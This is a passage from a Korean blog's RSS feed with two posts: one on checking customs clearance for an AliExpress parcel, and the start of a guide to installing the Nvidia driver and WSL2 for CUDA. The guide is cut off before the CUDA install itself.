&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;통관 조회 사이트&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- &lt;a href=&quot;https://www.customs.go.kr/kcs/ad/cntnts/cntntsView.do?mi=10220&amp;amp;cntntsId=10220&quot;&gt;https://www.customs.go.kr/kcs/ad/cntnts/cntntsView.do?mi=10220&amp;amp;cntntsId=10220&lt;/a&gt;&amp;nbsp;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;해외 직구 여기로&quot;에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;해외직구 통관정보조회&lt;/b&gt;&lt;/u&gt;를 클릭합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;905&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJbwdT/btrSPPLfozj/8aPsAz6XjILL15QKbm0xQK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJbwdT/btrSPPLfozj/8aPsAz6XjILL15QKbm0xQK/img.png&quot; data-alt=&quot;해외직구 통관정보조회 클릭&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJbwdT/btrSPPLfozj/8aPsAz6XjILL15QKbm0xQK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJbwdT%2FbtrSPPLfozj%2F8aPsAz6XjILL15QKbm0xQK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;236&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;905&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;해외직구 통관정보조회 클릭&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;수입화물진행정보(건별)&lt;/b&gt;&lt;/u&gt;을 클릭한 후,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;M B/L - H B/L의 두 번째 칸&lt;/b&gt;&lt;/u&gt;에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;알리에서 확인한&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;운송번호를 입력&lt;/b&gt;&lt;/u&gt;하고 조회 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;983&quot; data-origin-height=&quot;599&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sA7uc/btrSQUTda2s/jrijhYWmvnW2hUfKFn1jwk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sA7uc/btrSQUTda2s/jrijhYWmvnW2hUfKFn1jwk/img.png&quot; data-alt=&quot;통관 조회&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sA7uc/btrSQUTda2s/jrijhYWmvnW2hUfKFn1jwk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsA7uc%2FbtrSQUTda2s%2FjrijhYWmvnW2hUfKFn1jwk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;305&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;983&quot; data-origin-height=&quot;599&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;통관 조회&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인 중이던&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스노우보드 왁싱 제품은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아직 입항을 안했기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;통관 정보가 없어서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미 입항하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;통관 중인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 물품으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;검색해봤습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1282&quot; data-origin-height=&quot;920&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dw3sYK/btrSKvmHZ9S/jtzNN0KWgBKyou3WfXSeyk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dw3sYK/btrSKvmHZ9S/jtzNN0KWgBKyou3WfXSeyk/img.png&quot; data-alt=&quot;단계가...많이 남았다...&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dw3sYK/btrSKvmHZ9S/jtzNN0KWgBKyou3WfXSeyk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdw3sYK%2FbtrSKvmHZ9S%2FjtzNN0KWgBKyou3WfXSeyk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;359&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1282&quot; data-origin-height=&quot;920&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;단계가...많이 남았다...&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;통관이 끝나면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1, 2일이면 도착하니...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;빨리 끝나길 기도합니다...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래도 평택이니&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;빨리 끝나겠지...&lt;/p&gt;</description>
      <category>Tip.../기타</category>
      <category>Aliexpress Standard Shipping</category>
      <category>선박 조회</category>
      <category>알리 익스프레스</category>
      <category>통관조회</category>
      <category>해외 배송 조회</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/173</guid>
      <comments>https://chmodi.tistory.com/173#entry173comment</comments>
      <pubDate>Sun, 4 Dec 2022 22:14:07 +0900</pubDate>
    </item>
    <item>
      <title>[CUDA on WSL2] Window에서 리눅스와 Nvidia CUDA 사용하기</title>
      <link>https://chmodi.tistory.com/172</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;최근에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;hashcat 이라는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Password Crack Tool을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;알게 되었으며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 툴이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래픽 카드를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;빠르게&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Brute-forcing&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한다기에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;툴 환경을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세팅해봤습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# WSL?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;WSL&lt;/b&gt;은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Windows&amp;nbsp;Subsystem&amp;nbsp;for&amp;nbsp;Linux&lt;/b&gt;의 약어로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;윈도우에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리눅스를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용할 수 있게&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가상환경을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구성해줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.jpg&quot; data-origin-width=&quot;2096&quot; data-origin-height=&quot;1175&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZc67Q/btrRCZwKruW/zz5OG8cCCQYQd7mmMQdiT1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZc67Q/btrRCZwKruW/zz5OG8cCCQYQd7mmMQdiT1/img.jpg&quot; data-alt=&quot;WSL2 구조&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZc67Q/btrRCZwKruW/zz5OG8cCCQYQd7mmMQdiT1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZc67Q%2FbtrRCZwKruW%2Fzz5OG8cCCQYQd7mmMQdiT1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;280&quot; data-filename=&quot;1.jpg&quot; data-origin-width=&quot;2096&quot; data-origin-height=&quot;1175&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;WSL2 구조&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Nvidia 드라이버 설치&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선, Nvidia 드라이버를 설치합니다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;드라이버 다운 링크:&lt;br /&gt;https://www.nvidia.com/Download/index.aspx?lang=en-us&lt;br /&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본인 PC에 맞춰서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다운받으면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;448&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYOgji/btrRKJsAHT0/Rw5m4dKl8g0tCPDMvzkvg0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYOgji/btrRKJsAHT0/Rw5m4dKl8g0tCPDMvzkvg0/img.png&quot; data-alt=&quot;Nvidia 드라이버 다운로드&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYOgji/btrRKJsAHT0/Rw5m4dKl8g0tCPDMvzkvg0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYOgji%2FbtrRKJsAHT0%2FRw5m4dKl8g0tCPDMvzkvg0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;219&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;448&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Nvidia 드라이버 다운로드&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. WSL2 설치 및 실행&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ WSL2 설치&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;명령어로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;간단하게&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가능합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;WSL 설치&lt;/b&gt;&lt;br /&gt;cmd &amp;gt; wsl --install&lt;br /&gt;&lt;br /&gt;* Windows 10 version 2004(Build 19041) 보다 높은 버전 또는 Windows 11 사용&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;270&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cOY6HQ/btrRMAPonaJ/kFOSfMQtaX76Wjhbz2lC3k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cOY6HQ/btrRMAPonaJ/kFOSfMQtaX76Wjhbz2lC3k/img.png&quot; data-alt=&quot;WSL 설치&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cOY6HQ/btrRMAPonaJ/kFOSfMQtaX76Wjhbz2lC3k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcOY6HQ%2FbtrRMAPonaJ%2FkFOSfMQtaX76Wjhbz2lC3k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;132&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;270&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;WSL 설치&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;420&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bj4bbM/btrRJQlaHn2/NcyzgqTBqQaj7MUfe5oq8k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bj4bbM/btrRJQlaHn2/NcyzgqTBqQaj7MUfe5oq8k/img.png&quot; data-alt=&quot;우분투까지 설치 완료&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bj4bbM/btrRJQlaHn2/NcyzgqTBqQaj7MUfe5oq8k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbj4bbM%2FbtrRJQlaHn2%2FNcyzgqTBqQaj7MUfe5oq8k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;205&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;420&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;우분투까지 설치 완료&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ WSL 실행&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다양한 방법으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;실행 방법:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;1. 윈도우 창 &amp;gt; Ubuntu 클릭&lt;/b&gt;&lt;br /&gt;&lt;b&gt;2. CMD &amp;gt; 탭에서 Ubuntu 클릭&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;799&quot; data-origin-height=&quot;383&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sREDe/btrRMvgpui2/itkAKiGKzYHQAUAOL6Bmy1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sREDe/btrRMvgpui2/itkAKiGKzYHQAUAOL6Bmy1/img.png&quot; data-alt=&quot;1. 윈도우 &amp;amp;gt; Ubuntu 클릭&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sREDe/btrRMvgpui2/itkAKiGKzYHQAUAOL6Bmy1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsREDe%2FbtrRMvgpui2%2FitkAKiGKzYHQAUAOL6Bmy1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;240&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;799&quot; data-origin-height=&quot;383&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;1. 윈도우 &amp;gt; Ubuntu 클릭&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;546&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KeZVZ/btrRMuV5Ztd/UTeZ0iVGdsAxjzElEZn0j1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KeZVZ/btrRMuV5Ztd/UTeZ0iVGdsAxjzElEZn0j1/img.png&quot; data-alt=&quot;2.&amp;amp;nbsp;CMD &amp;amp;gt; 탭에서 Ubuntu 클릭&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KeZVZ/btrRMuV5Ztd/UTeZ0iVGdsAxjzElEZn0j1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKeZVZ%2FbtrRMuV5Ztd%2FUTeZ0iVGdsAxjzElEZn0j1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;267&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;546&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;2.&amp;nbsp;CMD &amp;gt; 탭에서 Ubuntu 클릭&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최초 접속 시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본 계정만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설정해주면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;307&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/blxQeD/btrRGvWa7VD/3d4PP0xPL2Ljgf8A2Kj940/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/blxQeD/btrRGvWa7VD/3d4PP0xPL2Ljgf8A2Kj940/img.png&quot; data-alt=&quot;기본 계정 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/blxQeD/btrRGvWa7VD/3d4PP0xPL2Ljgf8A2Kj940/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FblxQeD%2FbtrRGvWa7VD%2F3d4PP0xPL2Ljgf8A2Kj940%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;150&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;307&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;기본 계정 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. WSL에 CUDA 설치&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;드라이버와&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리눅스 설치가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;끝났으면&lt;/p&gt;
